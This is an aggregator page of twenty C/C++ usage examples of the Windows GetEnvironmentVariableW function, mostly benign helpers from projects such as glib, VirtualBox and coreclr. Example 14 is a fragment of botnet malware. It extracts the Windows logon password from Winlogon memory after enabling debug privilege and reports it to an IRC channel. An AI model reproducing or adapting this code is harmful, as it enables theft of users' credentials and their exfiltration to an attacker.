本文整理汇总了C++中GetEnvironmentVariableW函数的典型用法代码示例。如果您正苦于以下问题:C++ GetEnvironmentVariableW函数的具体用法?C++ GetEnvironmentVariableW怎么用?C++ GetEnvironmentVariableW使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetEnvironmentVariableW函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: environment_variable
const char* environment_variable( const char* var )
{
#if FOUNDATION_PLATFORM_WINDOWS
unsigned int required;
wchar_t* key = wstring_allocate_from_string( var, 0 );
wchar_t val[FOUNDATION_MAX_PATHLEN]; val[0] = 0;
if( ( required = GetEnvironmentVariableW( key, val, FOUNDATION_MAX_PATHLEN ) ) > FOUNDATION_MAX_PATHLEN )
{
wchar_t* val_local = memory_allocate( sizeof( wchar_t ) * ( required + 2 ), 0, MEMORY_TEMPORARY );
val_local[0] = 0;
GetEnvironmentVariableW( key, val_local, required + 1 );
if( _environment_var )
string_deallocate( _environment_var );
_environment_var = string_allocate_from_wstring( val_local, 0 );
memory_deallocate( val_local );
}
else
{
if( _environment_var )
string_deallocate( _environment_var );
_environment_var = string_allocate_from_wstring( val, 0 );
}
wstring_deallocate( key );
return _environment_var;
#elif FOUNDATION_PLATFORM_POSIX
return getenv( var );
#else
# error Not implemented
#endif
}
开发者ID:NocturnDragon,项目名称:foundation_lib,代码行数:30,代码来源:environment.c
示例2: g_getenv
const gchar *
g_getenv (const gchar *variable)
{
GQuark quark;
gchar *value;
wchar_t dummy[2], *wname, *wvalue;
int len;
g_return_val_if_fail (variable != NULL, NULL);
g_return_val_if_fail (g_utf8_validate (variable, -1, NULL), NULL);
/* On Windows NT, it is relatively typical that environment
* variables contain references to other environment variables. If
* so, use ExpandEnvironmentStrings(). (In an ideal world, such
* environment variables would be stored in the Registry as
* REG_EXPAND_SZ type values, and would then get automatically
* expanded before a program sees them. But there is broken software
* that stores environment variables as REG_SZ values even if they
* contain references to other environment variables.)
*/
wname = g_utf8_to_utf16 (variable, -1, NULL, NULL, NULL);
len = GetEnvironmentVariableW (wname, dummy, 2);
if (len == 0)
{
g_free (wname);
return NULL;
}
else if (len == 1)
len = 2;
wvalue = g_new (wchar_t, len);
if (GetEnvironmentVariableW (wname, wvalue, len) != len - 1)
{
g_free (wname);
g_free (wvalue);
return NULL;
}
if (wcschr (wvalue, L'%') != NULL)
{
wchar_t *tem = wvalue;
len = ExpandEnvironmentStringsW (wvalue, dummy, 2);
if (len > 0)
{
wvalue = g_new (wchar_t, len);
if (ExpandEnvironmentStringsW (tem, wvalue, len) != len)
{
g_free (wvalue);
wvalue = tem;
}
else
g_free (tem);
}
开发者ID:01org,项目名称:android-bluez-glib,代码行数:60,代码来源:genviron.c
示例3: Wname
std::string CEnvironment::getenv(const std::string &name)
{
#ifdef TARGET_WINDOWS
std::wstring Wname (win32ConvertUtf8ToW(name));
if (Wname.empty())
return "";
wchar_t * wStr = ::_wgetenv(Wname.c_str());
if (wStr != NULL)
return win32ConvertWToUtf8(wStr);
// Not found in Environment of runtime library
// Try Environment of process as fallback
unsigned int varSize = GetEnvironmentVariableW(Wname.c_str(), NULL, 0);
if (varSize == 0)
return ""; // Not found
wchar_t * valBuf = new wchar_t[varSize];
if (GetEnvironmentVariableW(Wname.c_str(), valBuf, varSize) != varSize-1)
{
delete[] valBuf;
return "";
}
std::wstring Wvalue (valBuf);
delete[] valBuf;
return win32ConvertWToUtf8(Wvalue);
#else
char * str = ::getenv(name.c_str());
if (str == NULL)
return "";
return str;
#endif
}
开发者ID:0xheart0,项目名称:xbmc,代码行数:33,代码来源:Environment.cpp
示例4: SetEenvironment
BOOL SetEenvironment()
{
LoadString(hInst, IDS_CMDLINE, szCommandLine, sizeof(szCommandLine)/sizeof(szCommandLine[0])-1);
LoadString(hInst, IDS_ENVIRONMENT, szEnvironment, sizeof(szEnvironment)/sizeof(szEnvironment[0])-1);
//LoadString(hInst, IDS_PROXYLIST, szProxyString, sizeof(szProxyString)/sizeof(szEnvironment[0])-1);
WCHAR *sep = L"\n";
WCHAR *pos = NULL;
WCHAR *token = wcstok(szEnvironment, sep);
while(token != NULL)
{
if (pos = wcschr(token, L'='))
{
*pos = 0;
SetEnvironmentVariableW(token, pos+1);
//wprintf(L"[%s] = [%s]\n", token, pos+1);
}
token = wcstok(NULL, sep);
}
GetEnvironmentVariableW(L"TASKBAR_TITLE", szTitle, sizeof(szTitle)/sizeof(szTitle[0])-1);
GetEnvironmentVariableW(L"TASKBAR_TOOLTIP", szTooltip, sizeof(szTooltip)/sizeof(szTooltip[0])-1);
GetEnvironmentVariableW(L"TASKBAR_BALLOON", szBalloon, sizeof(szBalloon)/sizeof(szBalloon[0])-1);
return TRUE;
}
开发者ID:kemadz,项目名称:taskbar,代码行数:26,代码来源:taskbar.cpp
示例5: GetCOMPlusVariable
// Look for 'key' as an environment variable named COMPlus_<key>. The returned value
// is nullptr if it is not found, or a string if found. If not nullptr, the returned
// value must be freed with jitInstance.freeLongLivedArray(value).
wchar_t* GetCOMPlusVariable(const wchar_t* key, JitInstance& jitInstance)
{
static const wchar_t Prefix[] = W("COMPlus_");
static const size_t PrefixLen = (sizeof(Prefix) / sizeof(Prefix[0])) - 1;
// Prepend "COMPlus_" to the provided key
size_t keyLen = wcslen(key);
size_t keyBufferLen = keyLen + PrefixLen + 1;
wchar_t* keyBuffer =
reinterpret_cast<wchar_t*>(jitInstance.allocateArray(static_cast<ULONG>(sizeof(wchar_t) * keyBufferLen)));
wcscpy_s(keyBuffer, keyBufferLen, Prefix);
wcscpy_s(&keyBuffer[PrefixLen], keyLen + 1, key);
// Look up the environment variable
DWORD valueLen = GetEnvironmentVariableW(keyBuffer, nullptr, 0);
if (valueLen == 0)
{
jitInstance.freeArray(keyBuffer);
return nullptr;
}
// Note this value must live as long as the jit instance does.
wchar_t* value = reinterpret_cast<wchar_t*>(jitInstance.allocateLongLivedArray(sizeof(wchar_t) * valueLen));
DWORD newValueLen = GetEnvironmentVariableW(keyBuffer, value, valueLen);
jitInstance.freeArray(keyBuffer);
if (valueLen < newValueLen)
{
jitInstance.freeLongLivedArray(value);
return nullptr;
}
return value;
}
开发者ID:A-And,项目名称:coreclr,代码行数:37,代码来源:jithost.cpp
示例6: RTDECL
/**
* Gets the user home directory.
*
* @returns iprt status code.
* @param pszPath Buffer where to store the path.
* @param cchPath Buffer size in bytes.
*/
RTDECL(int) RTPathUserHome(char *pszPath, size_t cchPath)
{
RTUTF16 wszPath[RTPATH_MAX];
DWORD dwAttr;
/*
* There are multiple definitions for what WE think of as user home...
*/
if ( !GetEnvironmentVariableW(L"HOME", &wszPath[0], RTPATH_MAX)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
{
if ( !GetEnvironmentVariableW(L"USERPROFILE", &wszPath[0], RTPATH_MAX)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
{
/* %HOMEDRIVE%%HOMEPATH% */
if (!GetEnvironmentVariableW(L"HOMEDRIVE", &wszPath[0], RTPATH_MAX))
return VERR_PATH_NOT_FOUND;
size_t const cwc = RTUtf16Len(&wszPath[0]);
if ( !GetEnvironmentVariableW(L"HOMEPATH", &wszPath[cwc], RTPATH_MAX - (DWORD)cwc)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
return VERR_PATH_NOT_FOUND;
}
}
/*
* Convert and return.
*/
return RTUtf16ToUtf8Ex(&wszPath[0], RTSTR_MAX, &pszPath, cchPath, NULL);
}
开发者ID:greg100795,项目名称:virtualbox,代码行数:39,代码来源:path-win.cpp
示例7: apxAddToPathW
BOOL apxAddToPathW(APXHANDLE hPool, LPCWSTR szAdd)
{
LPWSTR wsAdd;
DWORD rc;
DWORD al;
rc = GetEnvironmentVariableW(L"PATH", NULL, 0);
if (rc == 0 && GetLastError() == ERROR_ENVVAR_NOT_FOUND)
return FALSE;
al = lstrlenW(szAdd) + 6;
if (!(wsAdd = apxPoolAlloc(hPool, (al + rc + 1) * sizeof(WCHAR))))
return FALSE;
lstrcpyW(wsAdd, L"PATH=");
lstrcatW(wsAdd, szAdd);
lstrcatW(wsAdd, L";");
if (!GetEnvironmentVariableW(L"PATH", wsAdd + al, rc - al)) {
apxLogWrite(APXLOG_MARK_SYSERR);
apxFree(wsAdd);
return FALSE;
}
SetEnvironmentVariableW(L"PATH", wsAdd + 5);
_wputenv(wsAdd);
apxFree(wsAdd);
return TRUE;
}
开发者ID:VertiPub,项目名称:jsvc,代码行数:25,代码来源:utils.c
示例8: Java_net_rubygrapefruit_platform_internal_jni_PosixProcessFunctions_getEnvironmentVariable
JNIEXPORT jstring JNICALL
Java_net_rubygrapefruit_platform_internal_jni_PosixProcessFunctions_getEnvironmentVariable(JNIEnv *env, jclass target, jstring var, jobject result) {
wchar_t* varStr = java_to_wchar(env, var, result);
DWORD len = GetEnvironmentVariableW(varStr, NULL, 0);
if (len == 0) {
if (GetLastError() != ERROR_ENVVAR_NOT_FOUND) {
mark_failed_with_errno(env, "could not determine length of environment variable", result);
}
free(varStr);
return NULL;
}
wchar_t* valueStr = (wchar_t*)malloc(sizeof(wchar_t) * len);
DWORD copied = GetEnvironmentVariableW(varStr, valueStr, len);
if (copied == 0) {
if (len > 1) {
// If the value is empty, then copied will be 0
mark_failed_with_errno(env, "could not get environment variable", result);
}
free(varStr);
free(valueStr);
return NULL;
}
free(varStr);
jstring value = wchar_to_java(env, valueStr, copied, result);
free(valueStr);
return value;
}
开发者ID:tinca,项目名称:native-platform,代码行数:27,代码来源:win.cpp
示例9: c_getenv
const char *
c_getenv(const char *variable)
{
c_utf16_t *var, *buffer;
char *val = NULL;
int32_t buffer_size = 1024;
int32_t retval;
var = u8to16(variable);
buffer = c_malloc(buffer_size * sizeof(c_utf16_t));
retval = GetEnvironmentVariableW(var, buffer, buffer_size);
if (retval != 0) {
if (retval > buffer_size) {
c_free(buffer);
buffer_size = retval;
buffer = c_malloc(buffer_size * sizeof(c_utf16_t));
retval = GetEnvironmentVariableW(var, buffer, buffer_size);
}
val = u16to8(buffer);
} else {
if (GetLastError() != ERROR_ENVVAR_NOT_FOUND) {
val = c_malloc(1);
*val = 0;
}
}
c_free(var);
c_free(buffer);
return val;
}
开发者ID:rig-project,项目名称:clib,代码行数:28,代码来源:cmisc-win32.c
示例10: SetEenvironment
BOOL SetEenvironment() {
WCHAR *sep = L"\n";
WCHAR *pos = NULL;
WCHAR *token = wcstok(szEnvironment, sep);
while(token != NULL) {
if (pos = wcschr(token, L'=')) {
*pos = 0;
SetEnvironmentVariableW(token, pos+1);
}
token = wcstok(NULL, sep);
}
GetEnvironmentVariableW(L"ENV_VISIBLE", szVisible, sizeof(szVisible)/sizeof(szVisible[0])-1);
GetEnvironmentVariableW(L"ENV_TITLE", szTitle, sizeof(szTitle)/sizeof(szTitle[0])-1);
GetEnvironmentVariableW(L"ENV_TOOLTIP", szTooltip, sizeof(szTooltip)/sizeof(szTooltip[0])-1);
GetEnvironmentVariableW(L"ENV_BALLOON", szBalloon, sizeof(szBalloon)/sizeof(szBalloon[0])-1);
ParseSubMenuTitleList();
ParseSubMenuCmdList();
ParseSubMenuPathList();
GetModuleFileName(NULL, szPath, sizeof(szPath)/sizeof(szPath[0])-1);
*wcsrchr(szPath, L'\\') = 0;
SetEnvironmentVariableW(L"ENV_BOOT_PWD", szPath);
return TRUE;
}
开发者ID:wowngasb,项目名称:kl_tool,代码行数:26,代码来源:taskbar.cpp
示例11: Sutf8_to_wide
char *Sgetenv(const char *name) {
wchar_t* wname;
DWORD n;
wchar_t buffer[256];
wname = Sutf8_to_wide(name);
if (NULL == wname) return NULL;
n = GetEnvironmentVariableW(wname, buffer, 256);
if (n == 0) {
free(wname);
return NULL;
} else if (n <= 256) {
free(wname);
return Swide_to_utf8(buffer);
} else {
wchar_t* value = (wchar_t*)malloc(n * sizeof(wchar_t));
if (0 == GetEnvironmentVariableW(wname, value, n)) {
free(wname);
free(value);
return NULL;
} else {
char* result = Swide_to_utf8(value);
free(wname);
free(value);
return result;
}
}
}
开发者ID:chpwang,项目名称:ChezScheme,代码行数:27,代码来源:windows.c
示例12: GetTempPathW
/*
* @implemented
*
* ripped from wine
*/
DWORD
WINAPI
GetTempPathW (
DWORD count,
LPWSTR path
)
{
static const WCHAR tmp[] = { 'T', 'M', 'P', 0 };
static const WCHAR temp[] = { 'T', 'E', 'M', 'P', 0 };
static const WCHAR userprofile[] = { 'U','S','E','R','P','R','O','F','I','L','E',0 };
WCHAR tmp_path[MAX_PATH];
UINT ret;
TRACE("%u,%p\n", count, path);
if (!(ret = GetEnvironmentVariableW( tmp, tmp_path, MAX_PATH )) &&
!(ret = GetEnvironmentVariableW( temp, tmp_path, MAX_PATH )) &&
!(ret = GetEnvironmentVariableW( userprofile, tmp_path, MAX_PATH )) &&
!(ret = GetWindowsDirectoryW( tmp_path, MAX_PATH )))
return 0;
if (ret > MAX_PATH)
{
SetLastError(ERROR_FILENAME_EXCED_RANGE);
return 0;
}
ret = GetFullPathNameW(tmp_path, MAX_PATH, tmp_path, NULL);
if (!ret) return 0;
if (ret > MAX_PATH - 2)
{
SetLastError(ERROR_FILENAME_EXCED_RANGE);
return 0;
}
if (tmp_path[ret-1] != '\\')
{
tmp_path[ret++] = '\\';
tmp_path[ret] = '\0';
}
ret++; /* add space for terminating 0 */
if (count)
{
lstrcpynW(path, tmp_path, count);
if (count >= ret)
ret--; /* return length without 0 */
else if (count < 4)
path[0] = 0; /* avoid returning ambiguous "X:" */
}
TRACE("GetTempPathW returning %u, %S\n", ret, path);
return ret;
}
开发者ID:HBelusca,项目名称:NasuTek-Odyssey,代码行数:62,代码来源:curdir.c
示例13: RTDECL
/**
* Gets the user home directory.
*
* @returns iprt status code.
* @param pszPath Buffer where to store the path.
* @param cchPath Buffer size in bytes.
*/
RTDECL(int) RTPathUserHome(char *pszPath, size_t cchPath)
{
/*
* Validate input
*/
AssertPtrReturn(pszPath, VERR_INVALID_POINTER);
AssertReturn(cchPath, VERR_INVALID_PARAMETER);
RTUTF16 wszPath[RTPATH_MAX];
bool fValidFolderPath = false;
/*
* Try with Windows XP+ functionality first.
*/
RTLDRMOD hShell32;
int rc = RTLdrLoadSystem("Shell32.dll", true /*fNoUnload*/, &hShell32);
if (RT_SUCCESS(rc))
{
PFNSHGETFOLDERPATHW pfnSHGetFolderPathW;
rc = RTLdrGetSymbol(hShell32, "SHGetFolderPathW", (void**)&pfnSHGetFolderPathW);
if (RT_SUCCESS(rc))
{
HRESULT hrc = pfnSHGetFolderPathW(0, CSIDL_PROFILE, NULL, SHGFP_TYPE_CURRENT, wszPath);
fValidFolderPath = (hrc == S_OK);
}
RTLdrClose(hShell32);
}
DWORD dwAttr;
if ( !fValidFolderPath
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
{
/*
* Fall back to Windows specific environment variables. HOME is not used.
*/
if ( !GetEnvironmentVariableW(L"USERPROFILE", &wszPath[0], RTPATH_MAX)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
{
/* %HOMEDRIVE%%HOMEPATH% */
if (!GetEnvironmentVariableW(L"HOMEDRIVE", &wszPath[0], RTPATH_MAX))
return VERR_PATH_NOT_FOUND;
size_t const cwc = RTUtf16Len(&wszPath[0]);
if ( !GetEnvironmentVariableW(L"HOMEPATH", &wszPath[cwc], RTPATH_MAX - (DWORD)cwc)
|| (dwAttr = GetFileAttributesW(&wszPath[0])) == INVALID_FILE_ATTRIBUTES
|| !(dwAttr & FILE_ATTRIBUTE_DIRECTORY))
return VERR_PATH_NOT_FOUND;
}
}
/*
* Convert and return.
*/
return RTUtf16ToUtf8Ex(&wszPath[0], RTSTR_MAX, &pszPath, cchPath, NULL);
}
开发者ID:stefano-garzarella,项目名称:virtualbox-org-svn-vbox-trunk,代码行数:63,代码来源:path-win.cpp
示例14: FindPassThread
DWORD WINAPI FindPassThread(LPVOID param)
{
FINDPASS findpass = *((FINDPASS *)param);
FINDPASS *findpasss = (FINDPASS *)param;
findpasss->gotinfo = TRUE;
char sendbuf[IRCLINE];
DWORD dwOS = OSVersionCheck();
if (dwOS == OS_WINNT || dwOS == OS_WIN2K) {
if (AdjustPrivileges("SeDebugPrivilege", TRUE)) {
HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)GetProcAddress
(hNtDll,"NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)GetProcAddress
(hNtDll,"RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION)GetProcAddress
(hNtDll,"RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER)GetProcAddress
(hNtDll,"RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING)GetProcAddress
(hNtDll,"RtlRunDecodeUnicodeString");
DWORD WinLogonPID = FindWinLogon();
if (WinLogonPID != 0) {
GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);
BOOL FoundPasswordPage = ((dwOS == OS_WINNT)?(LocatePasswordPageWinNT(WinLogonPID,&PasswordLength))
:(LocatePasswordPageWin2K(WinLogonPID,&PasswordLength)));
if (FoundPasswordPage) {
if (PasswordLength == 0)
_snprintf(sendbuf,sizeof(sendbuf),"[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/(no password)).",
WinLogonPID,UserDomain,UserName);
else
sprintf(sendbuf,(dwOS == OS_WINNT)?(DisplayPasswordWinNT(WinLogonPID)):(DisplayPasswordWin2K(WinLogonPID)));
} else
sprintf(sendbuf,"[FINDPASS]: Unable to find the password in memory.");
} else
sprintf(sendbuf,"[FINDPASS]: Unable to find Winlogon Process ID.");
AdjustPrivileges("SeDebugPrivilege", FALSE);
FreeLibrary(hNtDll);
} else
sprintf(sendbuf, "[FINDPASS]: Failed to enable Debug Privilege.");
} else
sprintf(sendbuf, "[FINDPASS]: Only supported on Windows NT/2000.");
if (!findpass.silent) irc_privmsg(findpass.sock,findpass.chan,sendbuf,findpass.notice);
addlog(sendbuf);
clearthread(findpass.threadnum);
ExitThread(0);
}
开发者ID:hazcod,项目名称:botnets,代码行数:55,代码来源:findpass.cpp
示例15: getWindowsVariable
static inline UString getWindowsVariable(const wchar_t *variable) {
DWORD length = GetEnvironmentVariableW(variable, 0, 0);
if (!length)
return "";
const size_t size = length * sizeof(wchar_t);
ScopedArray<byte> data(new byte[size]);
DWORD newLength = GetEnvironmentVariableW(variable, reinterpret_cast<wchar_t *>(data.get()), length);
if (!newLength || (newLength > length))
return "";
return readString(data.get(), size, kEncodingUTF16LE);
}
开发者ID:ImperatorPrime,项目名称:xoreos,代码行数:14,代码来源:platform.cpp
示例16: GetHomeUriWin
std::vector<unicode_t> GetHomeUriWin()
{
wchar_t homeDrive[0x100];
wchar_t homePath[0x100];
int l1 = GetEnvironmentVariableW( L"HOMEDRIVE", homeDrive, 0x100 );
int l2 = GetEnvironmentVariableW( L"HOMEPATH", homePath, 0x100 );
if ( l1 > 0 && l1 < 0x100 && l2 > 0 && l2 < 0x100 )
{
return carray_cat<unicode_t>( Utf16ToUnicode( homeDrive ).data(), Utf16ToUnicode( homePath ).data() );
}
return std::vector<unicode_t>();
}
开发者ID:0-wiz-0,项目名称:WCMCommander,代码行数:14,代码来源:file-util.cpp
示例17:
/* INTERNAL: retrieve COMSPEC environment variable */
static MSVCRT_wchar_t *msvcrt_get_comspec(void)
{
static const MSVCRT_wchar_t cmd[] = {'c','m','d',0};
static const MSVCRT_wchar_t comspec[] = {'C','O','M','S','P','E','C',0};
MSVCRT_wchar_t *ret;
unsigned int len;
if (!(len = GetEnvironmentVariableW(comspec, NULL, 0))) len = sizeof(cmd)/sizeof(MSVCRT_wchar_t);
if ((ret = HeapAlloc(GetProcessHeap(), 0, len * sizeof(MSVCRT_wchar_t))))
{
if (!GetEnvironmentVariableW(comspec, ret, len)) strcpyW(ret, cmd);
}
return ret;
}
开发者ID:WASSUM,项目名称:longene_travel,代码行数:15,代码来源:process.c
示例18: do_work
static void do_work()
{
WCHAR envBuffer[256];
GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer));
// restore system root
SetEnvironmentVariableW(L"SystemRoot", envBuffer);
//SetEnvironmentVariableW(L"SaveSystemRoot", NULL);
GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer));
SetEnvironmentVariableW(L"MyDllPath", NULL);
// shell32.dll will be unloaded, use another dll
LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
}
开发者ID:0stvind,项目名称:metasploit-framework,代码行数:15,代码来源:ieshell32.cpp
示例19: get_env
//------------------------------------------------------------------------------
bool get_env(const char* name, str_base& out)
{
wstr<32> wname(name);
int len = GetEnvironmentVariableW(wname.c_str(), nullptr, 0);
if (!len)
return false;
wstr<> wvalue;
wvalue.reserve(len);
len = GetEnvironmentVariableW(wname.c_str(), wvalue.data(), wvalue.size());
out.reserve(len);
out = wvalue.c_str();
return true;
}
开发者ID:Maximus5,项目名称:clink,代码行数:17,代码来源:os.cpp
示例20: LoadCoreClr
HMODULE LoadCoreClr(const std::wstring& runtime_directory, dnx::trace_writer& trace_writer)
{
HMODULE coreclr_module;
wchar_t coreclr_dir_buffer[MAX_PATH];
auto result = GetEnvironmentVariableW(L"CORECLR_DIR", coreclr_dir_buffer, MAX_PATH);
if (result > MAX_PATH)
{
trace_writer.write(L"The value of the 'CORECLR_DIR' variable is invalid. Aborting loading coreclr.dll.", true);
return nullptr;
}
if (result)
{
coreclr_module = LoadCoreClrFromPath(coreclr_dir_buffer, trace_writer);
}
else
{
coreclr_module = LoadLibraryExW(dnx::utils::path_combine(runtime_directory, L"coreclr.dll").c_str(), NULL, 0);
}
if (coreclr_module)
{
if (PinModule(coreclr_module, trace_writer))
{
return coreclr_module;
}
FreeLibrary(coreclr_module);
}
return nullptr;
}
开发者ID:henghu-bai,项目名称:dnx,代码行数:33,代码来源:dnx.coreclr.cpp
注:本文中的GetEnvironmentVariableW函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论